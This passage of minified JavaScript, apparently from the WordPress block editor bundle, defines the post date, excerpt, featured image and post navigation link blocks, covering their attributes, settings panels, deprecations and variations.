Xke={attributes:{datetime:{type:"string",role:"content"},textAlign:{type:"string"},format:{type:"string"},isLink:{type:"boolean",default:!1,role:"content"}},supports:{anchor:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},save(){return null},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)}},Jke={attributes:{datetime:{type:"string",role:"content"},textAlign:{type:"string"},format:{type:"string"},isLink:{type:"boolean",default:!1,role:"content"}},supports:{html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},save(){return null},migrate({metadata:{bindings:{datetime:{source:e,args:{key:t,...r}},...a},...n},...i}){return be({metadata:{bindings:{datetime:{source:e,args:{field:t,...r}},...a},...n},...i})},isEligible(e){return e?.metadata?.bindings?.datetime?.source==="core/post-data"&&!!e?.metadata?.bindings?.datetime?.args?.key}},e5e={attributes:{textAlign:{type:"string"},format:{type:"string"},isLink:{type:"boolean",default:!1,role:"content"},displayType:{type:"string",default:"date"}},supports:{html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},save(){return null},migrate({className:e,displayType:t,metadata:r,...a}){if(t==="date"||t==="modified")return t==="modified"&&(e=w(e,"wp-block-post-date__modified-date")),be({...a,className:e,metadata:{...r,bindings:{datetime:{source:"core/post-data",args:{field:t}}}}})},isEligible(e){return!e.datetime&&!e?.metadata?.bindings?.datetime}},t5e={attributes:{textAlign:{type:"string"},format:{type:"string"},isLink:{type:"boolean",default:!1}},supports:{html:!1,color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0}},save(){return null},migrate(e){return be(jt(e))},isEligible({style:e}){return e?.typography?.fontFamily}},Gte=[Xke,Jke,e5e,t5e];var ob=o(I(),1),r5e=[{name:"post-date",title:(0,ob.__)("Post Date"),description:(0,ob.__)("Display a post's publish date."),attributes:{metadata:{bindings:{datetime:{source:"core/post-data",args:{field:"date"}}}}},scope:["inserter","transform"],isActive:e=>e?.metadata?.bindings?.datetime?.source==="core/post-data"&&e?.metadata?.bindings?.datetime?.args?.field==="date"},{name:"post-date-modified",title:(0,ob.__)("Modified Date"),description:(0,ob.__)("Display a post's last updated date."),attributes:{metadata:{bindings:{datetime:{source:"core/post-data",args:{field:"modified"}}}},className:"wp-block-post-date__modified-date"},scope:["inserter","transform"],isActive:e=>e?.metadata?.bindings?.datetime?.source==="core/post-data"&&e?.metadata?.bindings?.datetime?.args?.field==="modified"}],Wte=r5e;var{name:$te}=$w,qte={icon:Y0,edit:Ute,deprecated:Gte,variations:Wte},o5e=()=>N({name:$te,metadata:$w,settings:qte});var gL={};q(gL,{init:()=>l5e,metadata:()=>qw,name:()=>ere,settings:()=>tre});var qw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-excerpt",title:"Excerpt",category:"theme",description:"Display the excerpt.",textdomain:"default",attributes:{moreText:{type:"string",role:"content"},showMoreOnNewLine:{type:"boolean",default:!0},excerptLength:{type:"number",default:55}},usesContext:["postId","postType","queryId"],example:{viewportWidth:350},supports:{anchor:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,textColumns:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},editorStyle:"wp-block-post-excerpt-editor",style:"wp-block-post-excerpt"};var Zw=o(Y(),1),Kte=o(j(),1),ou=o(T(),1),au=o(A(),1),sn=o(I(),1),Qte=o(z(),1);var Kr=o(v(),1),Zte="\u2026";function Yte(e){let{attributes:{moreText:t,showMoreOnNewLine:r,excerptLength:a},setAttributes:n,isSelected:i,context:{postId:l,postType:s,queryId:c}}=e;St(e);let u=Number.isFinite(c),m=v_("postType",s,l),[p,d,{rendered:f,protected:h}={}]=(0,Zw.useEntityProp)("postType",s,"excerpt",l),g=W(),b=(0,Qte.useSelect)(O=>s==="page"?!0:!!O(Zw.store).getPostType(s)?.supports?.excerpt,[s]),y=m&&!u&&b,_=(0,ou.useBlockProps)(),x=(0,sn._x)("words","Word count type. Do not translate!"),k=(0,Kte.useMemo)(()=>{if(!f)return"";let O=new window.DOMParser().parseFromString(f,"text/html");return O.body.textContent||O.body.innerText||""},[f]);if(!s||!l)return(0,Kr.jsx)("div",{..._,children:(0,Kr.jsx)("p",{children:(0,sn.__)("This block will display the excerpt.")})});if(h&&!m)return(0,Kr.jsx)("div",{..._,children:(0,Kr.jsx)(ou.Warning,{children:(0,sn.__)("The content is currently protected and does not have the available excerpt.")})});let S=(0,Kr.jsx)(ou.RichText,{identifier:"moreText",className:"wp-block-post-excerpt__more-link",tagName:"a","aria-label":(0,sn.__)("\u201CRead more\u201D link text"),placeholder:(0,sn.__)('Add "read more" link text'),value:t,onChange:O=>n({moreText:O}),withoutInteractiveFormatting:!0}),C=w("wp-block-post-excerpt__excerpt",{"is-inline":!r}),E=(p||k).trim(),B="";if(x==="words")B=E.split(/\s+/,a).join(" ");else if(x==="characters_excluding_spaces"){let O=E.split("",a).join(""),R=O.length-O.replaceAll(" ","").length;B=E.split("",a+R).join("")}else x==="characters_including_spaces"&&(B=E.split("",a).join(""));let D=B!==E,M=y?(0,Kr.jsx)(ou.RichText,{className:C,"aria-label":(0,sn.__)("Excerpt text"),value:i?E:(D?B+Zte:E)||(0,sn.__)("No excerpt found"),onChange:d,tagName:"p",allowedFormats:[],preserveWhiteSpace:!0}):(0,Kr.jsx)("p",{className:C,children:D?B+Zte:E||(0,sn.__)("No excerpt found")});return(0,Kr.jsxs)(Kr.Fragment,{children:[(0,Kr.jsx)(ou.InspectorControls,{children:(0,Kr.jsxs)(au.__experimentalToolsPanel,{label:(0,sn.__)("Settings"),resetAll:()=>{n({showMoreOnNewLine:!0,excerptLength:55})},dropdownMenuProps:g,children:[(0,Kr.jsx)(au.__experimentalToolsPanelItem,{hasValue:()=>r!==!0,label:(0,sn.__)("Show link on new line"),onDeselect:()=>n({showMoreOnNewLine:!0}),isShownByDefault:!0,children:(0,Kr.jsx)(au.ToggleControl,{label:(0,sn.__)("Show link on new line"),checked:r,onChange:O=>n({showMoreOnNewLine:O})})}),(0,Kr.jsx)(au.__experimentalToolsPanelItem,{hasValue:()=>a!==55,label:(0,sn.__)("Max number of words"),onDeselect:()=>n({excerptLength:55}),isShownByDefault:!0,children:(0,Kr.jsx)(au.RangeControl,{__next40pxDefaultSize:!0,label:(0,sn.__)("Max number of words"),value:a,onChange:O=>{n({excerptLength:O})},min:"10",max:"100"})})]})}),(0,Kr.jsxs)("div",{..._,children:[M,!r&&" ",r?(0,Kr.jsx)("p",{className:"wp-block-post-excerpt__more-text",children:S}):S]})]})}var hL=o(U(),1),n5e={from:[{type:"block",blocks:["core/post-content"],transform:()=>(0,hL.createBlock)("core/post-excerpt")}],to:[{type:"block",blocks:["core/post-content"],transform:()=>(0,hL.createBlock)("core/post-content")}]},Xte=n5e;var i5e={attributes:{textAlign:{type:"string"},moreText:{type:"string",role:"content"},showMoreOnNewLine:{type:"boolean",default:!0},excerptLength:{type:"number",default:55}},supports:{anchor:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textColumns:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},save(){return null},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)}},Jte=[i5e];var{name:ere}=qw,tre={icon:pP,transforms:Xte,edit:Yte,deprecated:Jte},l5e=()=>N({name:ere,metadata:qw,settings:tre});var yL={};q(yL,{init:()=>g5e,metadata:()=>Kw,name:()=>fre,settings:()=>hre});var Kw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-featured-image",title:"Featured Image",category:"theme",description:"Display a post's featured image.",textdomain:"default",attributes:{isLink:{type:"boolean",default:!1,role:"content"},aspectRatio:{type:"string"},width:{type:"string"},height:{type:"string"},scale:{type:"string",default:"cover"},sizeSlug:{type:"string"},rel:{type:"string",attribute:"rel",default:"",role:"content"},linkTarget:{type:"string",default:"_self",role:"content"},overlayColor:{type:"string"},customOverlayColor:{type:"string"},dimRatio:{type:"number",default:0},gradient:{type:"string"},customGradient:{type:"string"},useFirstImageFromPost:{type:"boolean",default:!1}},usesContext:["postId","postType","queryId"],example:{viewportWidth:350},supports:{anchor:!0,align:["left","right","center","wide","full"],color:{text:!1,background:!1},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,width:!0}},filter:{duotone:!0},shadow:{__experimentalSkipSerialization:!0},html:!1,spacing:{margin:!0,padding:!0},interactivity:{clientNavigation:!0}},selectors:{border:".wp-block-post-featured-image img, .wp-block-post-featured-image .block-editor-media-placeholder, .wp-block-post-featured-image .wp-block-post-featured-image__overlay",shadow:".wp-block-post-featured-image img, .wp-block-post-featured-image .components-placeholder",filter:{duotone:".wp-block-post-featured-image img, .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder__illustration, .wp-block-post-featured-image .components-placeholder::before"}},editorStyle:"wp-block-post-featured-image-editor",style:"wp-block-post-featured-image"};var ure=o(Tr(),1),ab=o(Y(),1),nb=o(z(),1),go=o(A(),1),Dr=o(T(),1),Lm=o(j(),1),Lo=o(I(),1);var mre=o(yr(),1);var Da=o(I(),1),Do=o(A(),1),rre=o(T(),1),No=o(v(),1),c5e=(0,No.jsxs)(No.Fragment,{children:[(0,No.jsx)(Do.__experimentalToggleGroupControlOption,{value:"cover",label:(0,Da._x)("Cover","Scale option for Image dimension control")}),(0,No.jsx)(Do.__experimentalToggleGroupControlOption,{value:"contain",label:(0,Da._x)("Contain","Scale option for Image dimension control")}),(0,No.jsx)(Do.__experimentalToggleGroupControlOption,{value:"fill",label:(0,Da._x)("Fill","Scale option for Image dimension control")})]}),vL="cover",u5e={cover:(0,Da.__)("Image is scaled and cropped to fill the entire space without being distorted."),contain:(0,Da.__)("Image is scaled to fill the space without clipping nor distorting."),fill:(0,Da.__)("Image will be stretched and distorted to completely fill the space.")},m5e=({clientId:e,attributes:{aspectRatio:t,width:r,height:a,scale:n},setAttributes:i})=>{let[l,s,c,u]=(0,rre.useSettings)("spacing.units","dimensions.aspectRatios.default","dimensions.aspectRatios.theme","dimensions.defaultAspectRatios"),m=(0,Do.__experimentalUseCustomUnits)({availableUnits:l||["px","%","vw","em","rem"]}),p=(y,_)=>{let x=parseFloat(_);isNaN(x)&&_||i({[y]:x<0?"0":_})},d=(0,Da._x)("Scale","Image scaling options"),f=a||t&&t!=="auto",h=c?.map(({name:y,ratio:_})=>({label:y,value:_})),g=s?.map(({name:y,ratio:_})=>({label:y,value:_})),b=[{label:(0,Da._x)("Original","Aspect ratio option for dimensions control"),value:"auto"},...u?g:[],...h||[]];return(0,No.jsxs)(No.Fragment,{children:[(0,No.jsx)(Do.__experimentalToolsPanelItem,{hasValue:()=>!!t,label:(0,Da.__)("Aspect ratio"),onDeselect:()=>i({aspectRatio:void 0}),resetAllFilter:()=>({aspectRatio:void 0}),isShownByDefault:!0,panelId:e,children:(0,No.jsx)(Do.SelectControl,{__next40pxDefaultSize:!0,label:(0,Da.__)("Aspect ratio"),value:t||"auto",options:b,onChange:y=>i({aspectRatio:y})})}),(0,No.jsx)(Do.__experimentalToolsPanelItem,{className:"single-column",hasValue:()=>!!a,label:(0,Da.__)("Height"),onDeselect:()=>i({height:void 0}),resetAllFilter:()=>({height:void 0}),isShownByDefault:!0,panelId:e,children:(0,No.jsx)(Do.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Da.__)("Height"),labelPosition:"top",value:a||"",min:0,onChange:y=>p("height",y),units:m})}),(0,No.jsx)(Do.__experimentalToolsPanelItem,{className:"single-column",hasValue:()=>!!r,label:(0,Da.__)("Width"),onDeselect:()=>i({width:void 0}),resetAllFilter:()=>({width:void 0}),isShownByDefault:!0,panelId:e,children:(0,No.jsx)(Do.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,Da.__)("Width"),labelPosition:"top",value:r||"",min:0,onChange:y=>p("width",y),units:m})}),f&&(0,No.jsx)(Do.__experimentalToolsPanelItem,{hasValue:()=>!!n&&n!==vL,label:d,onDeselect:()=>i({scale:vL}),resetAllFilter:()=>({scale:vL}),isShownByDefault:!0,panelId:e,children:(0,No.jsx)(Do.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:d,value:n,help:u5e[n],onChange:y=>i({scale:y}),isBlock:!0,children:c5e})})]})},ore=m5e;var Yw=o(A(),1),Nm=o(T(),1),are=o(ue(),1),Qw=o(I(),1),Em=o(v(),1),p5e=({clientId:e,attributes:t,setAttributes:r,overlayColor:a,setOverlayColor:n})=>{let{dimRatio:i}=t,{gradientValue:l,setGradient:s}=(0,Nm.__experimentalUseGradient)(),c=(0,Nm.__experimentalUseMultipleOriginColorsAndGradients)();return c.hasColorsOrGradients?(0,Em.jsxs)(Em.Fragment,{children:[(0,Em.jsx)(Nm.__experimentalColorGradientSettingsDropdown,{__experimentalIsRenderedInSidebar:!0,settings:[{colorValue:a.color,gradientValue:l,label:(0,Qw.__)("Overlay"),onColorChange:n,onGradientChange:s,isShownByDefault:!0,resetAllFilter:()=>({overlayColor:void 0,customOverlayColor:void 0,gradient:void 0,customGradient:void 0}),clearable:!0}],panelId:e,...c}),(0,Em.jsx)(Yw.__experimentalToolsPanelItem,{hasValue:()=>i!==void 0,label:(0,Qw.__)("Overlay opacity"),onDeselect:()=>r({dimRatio:0}),resetAllFilter:()=>({dimRatio:0}),isShownByDefault:!0,panelId:e,children:(0,Em.jsx)(Yw.RangeControl,{label:(0,Qw.__)("Overlay opacity"),value:i,onChange:u=>r({dimRatio:u}),min:0,max:100,step:10,required:!0,__next40pxDefaultSize:!0})})]}):null},nre=(0,are.compose)([(0,Nm.withColors)({overlayColor:"background-color"})])(p5e);var Dm=o(T(),1),lre=o(ue(),1);function ire(e){return e===void 0?null:"has-background-dim-"+10*Math.round(e/10)}var sre=o(v(),1),d5e=({attributes:e,overlayColor:t})=>{let{dimRatio:r}=e,{gradientClass:a,gradientValue:n}=(0,Dm.__experimentalUseGradient)(),i=(0,Dm.__experimentalUseMultipleOriginColorsAndGradients)(),l=(0,Dm.__experimentalUseBorderProps)(e),s={backgroundColor:t.color,backgroundImage:n,...l.style};return!i.hasColorsOrGradients||!r?null:(0,sre.jsx)("span",{"aria-hidden":"true",className:w("wp-block-post-featured-image__overlay",ire(r),{[t.class]:t.class,"has-background-dim":r!==void 0,"has-background-gradient":n,[a]:a},l.className),style:s})},bL=(0,lre.compose)([(0,Dm.withColors)({overlayColor:"background-color"})])(d5e);var qe=o(v(),1),cre=["image"],{ResolutionTool:f5e}=Z(Dr.privateApis),pre="full";function h5e({image:e,value:t,onChange:r}){let{imageSizes:a}=(0,nb.useSelect)(i=>{let{getSettings:l}=i(Dr.store);return{imageSizes:l().imageSizes}},[]);if(!a?.length)return null;let n=a.filter(({slug:i})=>e?.media_details?.sizes?.[i]?.source_url).map(({name:i,slug:l})=>({value:l,label:i}));return(0,qe.jsx)(f5e,{value:t,defaultValue:pre,options:n,onChange:r})}function dre({clientId:e,attributes:t,setAttributes:r,context:{postId:a,postType:n,queryId:i}}){let l=Number.isFinite(i),{isLink:s,aspectRatio:c,height:u,width:m,scale:p,sizeSlug:d,rel:f,linkTarget:h,useFirstImageFromPost:g}=t,[b,y]=(0,Lm.useState)(),[_,x]=(0,ab.useEntityProp)("postType",n,"featured_media",a),[k]=(0,ab.useEntityProp)("postType",n,"content",a),S=(0,Lm.useMemo)(()=>{if(_)return _;if(!g)return;let oe=/<!--\s+wp:(?:core\/)?image\s+(?<attrs>{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?-->).)*)?}\s+)?-->/.exec(k);return oe?.groups?.attrs&&JSON.parse(oe.groups.attrs)?.id},[_,g,k]),{media:C,postType:E,postPermalink:B}=(0,nb.useSelect)(oe=>{let{getEntityRecord:ie,getPostType:le,getEditedEntityRecord:de}=oe(ab.store);return{media:S&&ie("postType","attachment",S,{context:"view"}),postType:n&&le(n),postPermalink:de("postType",n,a)?.link}},[S,n,a]),D=C?.media_details?.sizes?.[d]?.source_url||C?.source_url,M=(0,Dr.useBlockProps)({style:{width:m,height:u,aspectRatio:c},className:w({"is-transient":b})}),O=(0,Dr.__experimentalUseBorderProps)(t),R=(0,Dr.__experimentalGetShadowClassesAndStyles)(t),F=(0,Dr.useBlockEditingMode)(),P=oe=>(0,qe.jsx)(go.Placeholder,{className:w("block-editor-media-placeholder",O.className),withIllustration:!0,style:{height:!!c&&"100%",width:!!c&&"100%",...O.style,...R.style},children:oe}),H=oe=>{oe?.id&&x(oe.id),oe?.url&&(0,ure.isBlobURL)(oe.url)&&y(oe.url)},$=()=>{r({isLink:!1,linkTarget:"_self",rel:"",sizeSlug:void 0}),x(0)};(0,Lm.useEffect)(()=>{D&&b&&y()},[D,b]);let{createErrorNotice:V}=(0,nb.useDispatch)(mre.store),G=oe=>{V(oe,{type:"snackbar"}),y()},K=W(),X=F==="default"&&(0,qe.jsxs)(qe.Fragment,{children:[(0,qe.jsx)(Dr.InspectorControls,{group:"color",children:(0,qe.jsx)(nre,{attributes:t,setAttributes:r,clientId:e})}),(0,qe.jsx)(Dr.InspectorControls,{group:"dimensions",children:(0,qe.jsx)(ore,{clientId:e,attributes:t,setAttributes:r,media:C})}),(S||l||!a)&&(0,qe.jsx)(Dr.InspectorControls,{children:(0,qe.jsxs)(go.__experimentalToolsPanel,{label:(0,Lo.__)("Settings"),resetAll:()=>{r({isLink:!1,linkTarget:"_self",rel:"",sizeSlug:pre})},dropdownMenuProps:K,children:[(0,qe.jsx)(go.__experimentalToolsPanelItem,{label:E?.labels.singular_name?(0,Lo.sprintf)((0,Lo.__)("Link to %s"),E.labels.singular_name):(0,Lo.__)("Link to post"),isShownByDefault:!0,hasValue:()=>!!s,onDeselect:()=>r({isLink:!1}),children:(0,qe.jsx)(go.ToggleControl,{label:E?.labels.singular_name?(0,Lo.sprintf)((0,Lo.__)("Link to %s"),E.labels.singular_name):(0,Lo.__)("Link to post"),onChange:()=>r({isLink:!s}),checked:s})}),s&&(0,qe.jsx)(go.__experimentalToolsPanelItem,{label:(0,Lo.__)("Open in new tab"),isShownByDefault:!0,hasValue:()=>h!=="_self",onDeselect:()=>r({linkTarget:"_self"}),children:(0,qe.jsx)(go.ToggleControl,{label:(0,Lo.__)("Open in new tab"),onChange:oe=>r({linkTarget:oe?"_blank":"_self"}),checked:h==="_blank"})}),s&&(0,qe.jsx)(go.__experimentalToolsPanelItem,{label:(0,Lo.__)("Link relation"),isShownByDefault:!0,hasValue:()=>!!f,onDeselect:()=>r({rel:""}),children:(0,qe.jsx)(go.TextControl,{__next40pxDefaultSize:!0,label:(0,Lo.__)("Link relation"),help:(0,Lm.createInterpolateElement)((0,Lo.__)("The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."),{a:(0,qe.jsx)(go.ExternalLink,{href:"https://developer.mozilla.org/docs/Web/HTML/Attributes/rel"})}),value:f,onChange:oe=>r({rel:oe})})}),!!C&&(0,qe.jsx)(h5e,{image:C,value:d,onChange:oe=>r({sizeSlug:oe})})]})})]}),ee;if(!S&&(l||!a))return(0,qe.jsxs)(qe.Fragment,{children:[X,(0,qe.jsxs)("div",{...M,children:[s?(0,qe.jsx)("a",{href:B,target:h,children:P()}):P(),(0,qe.jsx)(bL,{attributes:t,setAttributes:r,clientId:e})]})]});let ne=(0,Lo.__)("Add a featured image"),J={...O.style,...R.style,height:c?"100%":u,width:!!c&&"100%",objectFit:!!(u||c)&&p};return!S&&!b?ee=(0,qe.jsx)(Dr.MediaPlaceholder,{onSelect:H,accept:"image/*",allowedTypes:cre,onError:G,placeholder:P,mediaLibraryButton:({open:oe})=>(0,qe.jsx)(go.Button,{__next40pxDefaultSize:!0,icon:Pc,variant:"primary",label:ne,showTooltip:!0,tooltipPosition:"top center",onClick:()=>{oe()}})}):ee=!C&&!b?P():(0,qe.jsxs)(qe.Fragment,{children:[(0,qe.jsx)("img",{className:O.className,src:b||D,alt:C&&C?.alt_text?(0,Lo.sprintf)((0,Lo.__)("Featured image: %s"),C.alt_text):(0,Lo.__)("Featured image"),style:J}),b&&(0,qe.jsx)(go.Spinner,{})]}),(0,qe.jsxs)(qe.Fragment,{children:[!b&&X,!!C&&!l&&(0,qe.jsx)(Dr.BlockControls,{group:"other",children:(0,qe.jsx)(Dr.MediaReplaceFlow,{mediaId:S,mediaURL:D,allowedTypes:cre,accept:"image/*",onSelect:H,onError:G,onReset:$})}),(0,qe.jsxs)("figure",{...M,children:[s?(0,qe.jsx)("a",{href:B,target:h,children:ee}):ee,(0,qe.jsx)(bL,{attributes:t,setAttributes:r,clientId:e})]})]})}var{name:fre}=Kw,hre={icon:fP,edit:dre},g5e=()=>N({name:fre,metadata:Kw,settings:hre});var xL={};q(xL,{init:()=>y5e,metadata:()=>Xw,name:()=>wre,settings:()=>Cre});var kre=o(I(),1);var Xw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-navigation-link",title:"Post Navigation Link",category:"theme",description:"Displays the next or previous post link that is adjacent to the current post.",textdomain:"default",attributes:{type:{type:"string",default:"next"},label:{type:"string",role:"content"},showTitle:{type:"boolean",default:!1},linkLabel:{type:"boolean",default:!1},arrow:{type:"string",default:"none"},taxonomy:{type:"string",default:""}},usesContext:["postType"],supports:{anchor:!0,reusable:!1,html:!1,color:{link:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},style:"wp-block-post-navigation-link"};var la=o(A(),1),Pd=o(T(),1),dr=o(I(),1),gre=o(z(),1),vre=o(Y(),1);var Sr=o(v(),1);function bre({context:{postType:e},attributes:{type:t,label:r,showTitle:a,linkLabel:n,arrow:i,taxonomy:l},setAttributes:s}){let c=t==="next",u=c?(0,dr.__)("Next"):(0,dr.__)("Previous"),p={none:"",arrow:c?"\u2192":"\u2190",chevron:c?"\xBB":"\xAB"}[i];a&&(u=c?(0,dr.__)("Next: "):(0,dr.__)("Previous: "));let d=c?(0,dr.__)("Next post"):(0,dr.__)("Previous post"),f=(0,Pd.useBlockProps)(),h=(0,gre.useSelect)(y=>{let{getTaxonomies:_}=y(vre.store);return _({type:e,per_page:-1})},[e]),g=()=>{let y={label:(0,dr.__)("Unfiltered"),value:""},_=(h??[]).filter(({visibility:x})=>!!x?.publicly_queryable).map(x=>({value:x.slug,label:x.name}));return[y,..._]},b=W();return(0,Sr.jsxs)(Sr.Fragment,{children:[(0,Sr.jsx)(Pd.InspectorControls,{children:(0,Sr.jsxs)(la.__experimentalToolsPanel,{label:(0,dr.__)("Settings"),resetAll:()=>{s({showTitle:!1,linkLabel:!1,arrow:"none"})},dropdownMenuProps:b,children:[(0,Sr.jsx)(la.__experimentalToolsPanelItem,{label:(0,dr.__)("Display the title as a link"),isShownByDefault:!0,hasValue:()=>a,onDeselect:()=>s({showTitle:!1}),children:(0,Sr.jsx)(la.ToggleControl,{label:(0,dr.__)("Display the title as a link"),help:(0,dr.__)("If you have entered a custom label, it will be prepended before the title."),checked:!!a,onChange:()=>s({showTitle:!a})})}),a&&(0,Sr.jsx)(la.__experimentalToolsPanelItem,{label:(0,dr.__)("Include the label as part of the link"),isShownByDefault:!0,hasValue:()=>!!n,onDeselect:()=>s({linkLabel:!1}),children:(0,Sr.jsx)(la.ToggleControl,{label:(0,dr.__)("Include the label as part of the link"),checked:!!n,onChange:()=>s({linkLabel:!n})})}),(0,Sr.jsx)(la.__experimentalToolsPanelItem,{label:(0,dr.__)("Arrow"),isShownByDefault:!0,hasValue:()=>i!=="none",onDeselect:()=>s({arrow:"none"}),children:(0,Sr.jsxs)(la.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:(0,dr.__)("Arrow"),value:i,onChange:y=>{s({arrow:y})},help:(0,dr.__)("A decorative arrow for the next and previous link."),isBlock:!0,children:[(0,Sr.jsx)(la.__experimentalToggleGroupControlOption,{value:"none",label:(0,dr._x)("None","Arrow option for Next/Previous link")}),(0,Sr.jsx)(la.__experimentalToggleGroupControlOption,{value:"arrow",label:(0,dr._x)("Arrow","Arrow option for Next/Previous link")}),(0,Sr.jsx)(la.__experimentalToggleGroupControlOption,{value:"chevron",label:(0,dr._x)("Chevron","Arrow option for Next/Previous link")})]})})]})}),(0,Sr.jsx)(Pd.InspectorControls,{group:"advanced",children:(0,Sr.jsx)(la.SelectControl,{__next40pxDefaultSize:!0,label:(0,dr.__)("Filter by taxonomy"),value:l,options:g(),onChange:y=>s({taxonomy:y}),help:(0,dr.__)("Only link to posts that have the same taxonomy terms as the current post. For example the same tags or categories.")})}),(0,Sr.jsxs)("div",{...f,children:[!c&&p&&(0,Sr.jsx)("span",{className:`wp-block-post-navigation-link__arrow-previous is-arrow-${i}`,children:p}),(0,Sr.jsx)(Pd.RichText,{tagName:"a",identifier:"label","aria-label":d,placeholder:u,value:r,withoutInteractiveFormatting:!0,onChange:y=>s({label:y})}),a&&(0,Sr.jsx)("a",{href:"#post-navigation-pseudo-link",onClick:y=>y.preventDefault(),children:(0,dr.__)("An example title")}),c&&p&&(0,Sr.jsx)("span",{className:`wp-block-post-navigation-link__arrow-next is-arrow-${i}`,"aria-hidden":!0,children:p})]})]})}var Bd=o(I(),1);var yre=[{name:"post-previous",title:(0,Bd.__)("Previous Post"),description:(0,Bd.__)("Displays the post link that precedes the current post."),icon:_P,attributes:{type:"previous"},scope:["inserter","transform"],example:{attributes:{label:(0,Bd.__)("Previous post"),arrow:"arrow"}}},{isDefault:!0,name:"post-next",title:(0,Bd.__)("Next Post"),description:(0,Bd.__)("Displays the post link that follows the current post."),icon:zT,attributes:{type:"next"},scope:["inserter","transform"],example:{attributes:{label:(0,Bd.__)("Next post"),arrow:"arrow"}}}];yre.forEach(e=>{e.isActive||(e.isActive=(t,r)=>t.type===r.type)});var xre=yre;var b5e={attributes:{textAlign:{type:"string"},type:{type:"string",default:"next"},label:{type:"string",role:"content"},showTitle:{type:"boolean",default:!1},linkLabel:{type:"boolean",default:!1},arrow:{type:"string",default:"none"},taxonomy:{type:"string",default:""}},supports:{anchor:!0,reusable:!1,html:!1,color:{link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},_re=[b5e];var{name:wre}=Xw,Cre={edit:bre,variations:xre,deprecated:_re,example:{attributes:{label:(0,kre.__)("Next post"),arrow:"arrow"}}},y5e=()=>N({name:wre,metadata:Xw,settings:Cre});var _L={};q(_L,{init:()=>S5e,metadata:()=>Jw,name:()=>Nre,settings:()=>Dre});var Jw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/post-template",title:"Post 